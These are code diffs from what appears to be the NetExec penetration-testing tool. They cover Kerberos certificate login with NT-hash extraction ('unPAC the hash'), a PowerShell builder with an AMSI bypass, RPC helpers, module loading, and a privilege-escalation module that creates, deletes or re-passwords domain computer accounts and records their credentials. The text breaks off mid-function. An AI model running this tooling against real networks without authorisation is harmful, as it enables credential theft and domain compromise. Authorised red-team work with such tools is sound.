self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Loading certificate and key from file")
try:
credentials = pkinit_credentials(self.args)
except FileNotFoundError as e:
self.logger.fail(f"Certificate or key file not found: {e.filename}")
return False
except (PKINITError, ValueError) as e:
self.logger.fail(f"Failed to load certificate/key: {e}")
return False
self.logger.info("Successfully authenticated using Certificate")
return True
if credentials is None:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
return logged_in
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+1 -1
View File
@@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
amsi_bypass = ""
# for readability purposes, we do not do a one-liner
if force_ps32: # noqa: SIM108
if force_ps32:
# https://stackoverflow.com/a/60155248
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
+132
View File
@@ -0,0 +1,132 @@
import contextlib
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCRPCConnection:
"""
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
"""
def __init__(self, connection, force_tcp=False):
self.connection = connection
self.force_tcp = force_tcp
self.dce = None
self.rpc_transport = None
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
if string_binding is not None:
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
elif self.force_tcp:
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
else:
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
self.dce = self.rpc_transport.get_dce_rpc()
if self.connection.kerberos and not anonymous_rpc:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.connect()
if auth_level is not None:
self.dce.set_auth_level(auth_level)
self.dce.bind(interface_uuid)
return self.dce
def disconnect(self):
if self.dce:
with contextlib.suppress(Exception):
self.dce.disconnect()
self.dce = None
@property
def transport(self):
return self.rpc_transport
def get_smb_connection(self):
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
return self.rpc_transport.get_smb_connection()
return None
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.disconnect()
return False
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
conn = self.connection
if anonymous_rpc:
rpc_transport.set_credentials("", "", "", "", "", "")
rpc_transport.set_kerberos(False, None)
else:
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
if conn.kerberos:
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
def create_smb_transport(self, named_pipe, target_ip=None):
conn = self.connection
# Create a new SMB conn if we don't have one already or
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
if target_ip or conn.host:
rpc_transport.setRemoteHost(target_ip or conn.host)
return rpc_transport
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
conn = self.connection
target = target_ip or conn.remoteName
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
rpc_transport.setRemoteHost(target)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
rpc_transport = transport.DCERPCTransportFactory(string_binding)
if target_ip is not None:
rpc_transport.setRemoteHost(target_ip)
elif set_remote_host is not None:
rpc_transport.setRemoteHost(set_remote_host)
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
+21
View File
@@ -0,0 +1,21 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+63 -17
View File
@@ -1,11 +1,13 @@
import ast
import nxc
import importlib
import traceback
import sys
from os import listdir
from os.path import dirname
from os.path import basename, dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
@@ -13,6 +15,10 @@ from nxc.logger import NXCAdapter
from nxc.paths import NXC_PATH
class ModuleOptionsError(Exception):
"""Raised when a module aborts the run from options() (returned False)."""
class ModuleLoader:
def __init__(self, args, db, logger):
self.args = args
@@ -40,27 +46,46 @@ class ModuleLoader:
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
return not module_error
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module = spec.loader.load_module().NXCModule()
module_cache = {}
if self.module_is_sane(module, module_path):
return module
@classmethod
def load_module_file(cls, module_path):
"""Load a module file and return the raw module object with isolated namespace.
Each module gets a unique name to avoid sys.modules collisions that
caused NXCModule class references to be overwritten when loading
multiple modules. Results are cached so each file is only parsed
and executed once regardless of how many targets are scanned.
"""
if module_path not in cls.module_cache:
module_name = f"nxc_module_{basename(module_path)[:-3]}"
spec = importlib.util.spec_from_file_location(module_name, module_path)
module = importlib.util.module_from_spec(spec)
# Register before executing. Modules that define their own impacket
# NDRCALL requests rely on impacket resolving the matching Response
# class via sys.modules[request.__module__] (rpcrt.py), which the
# previous load_module() satisfied implicitly.
sys.modules[module_name] = module
spec.loader.exec_module(module)
cls.module_cache[module_path] = module
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
try:
return self.load_module_file(module_path).NXCModule()
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def init_module(self, module_path):
"""Initialize a module for execution"""
module = None
module = self.load_module(module_path)
if module:
@@ -78,7 +103,8 @@ class ModuleLoader:
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
if module.options(context, module_options) is False:
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
return module
else:
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
@@ -87,8 +113,7 @@ class ModuleLoader:
def get_module_info(self, module_path):
"""Get the path, description, and options from a module"""
try:
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
module_spec = spec.loader.load_module().NXCModule
module_spec = self.load_module_file(module_path).NXCModule
module = {
f"{module_spec.name}": {
@@ -106,8 +131,28 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def list_modules(self):
"""List modules without initializing them"""
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -116,10 +161,11 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py":
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
try:
module_path = path_join(path, module)
module_data = self.get_module_info(module_path)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+2 -1
View File
@@ -181,7 +181,8 @@ class NXCAdapter(logging.LoggerAdapter):
if not os.path.isfile(output_file):
try:
open(output_file, "x") # noqa: SIM115
with open(output_file, "x"):
pass
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
+230 -224
View File
@@ -1,269 +1,275 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Refactored to use impacket LDAP CRUD operations instead of ldap3.
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
DELETE Set to delete the computer account.
CHANGEPW Set to change an existing computer's password.
Usage (same syntax for ldap):
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
self.delete = "DELETE" in module_options
self.change_pw = False
if "DELETE" in module_options:
self.__delete = True
if "CHANGEPW" in module_options:
if "NAME" not in module_options or "PASSWORD" not in module_options:
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
sys.exit(1)
self.change_pw = True
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
if "NAME" not in module_options:
context.log.error("NAME option is required!")
sys.exit(1)
self.computer_name = module_options["NAME"]
if not self.computer_name.endswith("$"):
self.computer_name += "$"
if "PASSWORD" in module_options:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
self.computer_password = module_options["PASSWORD"]
elif not self.delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__aesKey = connection.aesKey
self.__doKerberos = connection.kerberos
self.__nthash = connection.nthash
self.__lmhash = connection.lmhash
# First try to add via SAMR over SMB
self.do_samr_add()
if connection.args.protocol == "smb":
self._do_samr()
elif connection.args.protocol == "ldap":
self._do_ldap()
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add()
def _db_remove_credential(self):
try:
db = self.context.db
domain = self.connection.domain
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
db.remove_credentials([row[0] for row in rows])
except Exception as e:
self.context.log.debug(f"Could not remove credentials from DB: {e}")
def do_samr_add(self):
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
def _db_add_credential(self):
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
def _do_samr(self):
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
# Get the list of domains
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
self.context.log.fail("Available domain(s):")
for domain in domains:
self.context.log.fail(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
self.context.log.debug(f"Opening domain {selected_domain}...")
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
# Get handle for existing computer account
if self.__noAdd or self.__delete:
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
else:
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
if self.__delete:
access = samr.DELETE
message = "delete"
else:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrOpenUser failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
self.noLDAPRequired = True
else:
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
return
# Add computer account
else:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
try:
user_handle = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)["UserHandle"]
self.noLDAPRequired = True
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
return
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
self.noLDAPRequired = True
# Removing the machine account in the DB
user = self.context.db.get_user(self.__domain, self.__computerName)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
self.noLDAPRequired = True
else:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
def _samr_execute(self, dce, target_name):
domain = self.connection.domain
def do_ldaps_add(self):
"""Performs an LDAPS add operation."""
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
c.bind()
sAMAccountName = self.__computerName
name = self.__computerName.rstrip("$")
if self.__delete:
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
if result:
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
else:
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
if len(non_builtin) > 1:
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
if len(matched) != 1:
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
return
selected = matched[0]["Name"]
else:
spns = [
f"HOST/{name}",
f"HOST/{name}.{self.connection.domain}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{name}.{self.connection.domain}",
]
result = c.add(
f"cn={name},cn=Computers,{ldap_domain}",
selected = non_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
try:
if self.delete or self.change_pw:
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
else:
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
if user_handle is None:
return
if self.delete:
samr.hSamrDeleteUser(dce, user_handle)
user_handle = None
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
self._db_remove_credential()
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
if self.change_pw:
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
else:
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
self._db_add_credential()
finally:
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
samr.hSamrCloseHandle(dce, domain_handle)
samr.hSamrCloseHandle(dce, serv_handle)
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
samr.hSamrCloseHandle(dce, user_handle)
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, new_handle, req)
return new_handle
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
else:
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_ACCESS_DENIED" in str(e):
action = "delete" if self.delete else "change password for"
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
else:
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
return None
def _samr_create(self, dce, domain_handle, username):
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
return None
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
request = samr.SamrCreateUser2InDomain()
request["DomainHandle"] = domain_handle
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{username} does not have the right to create a computer account")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"{username} exceeded the machine account quota")
else:
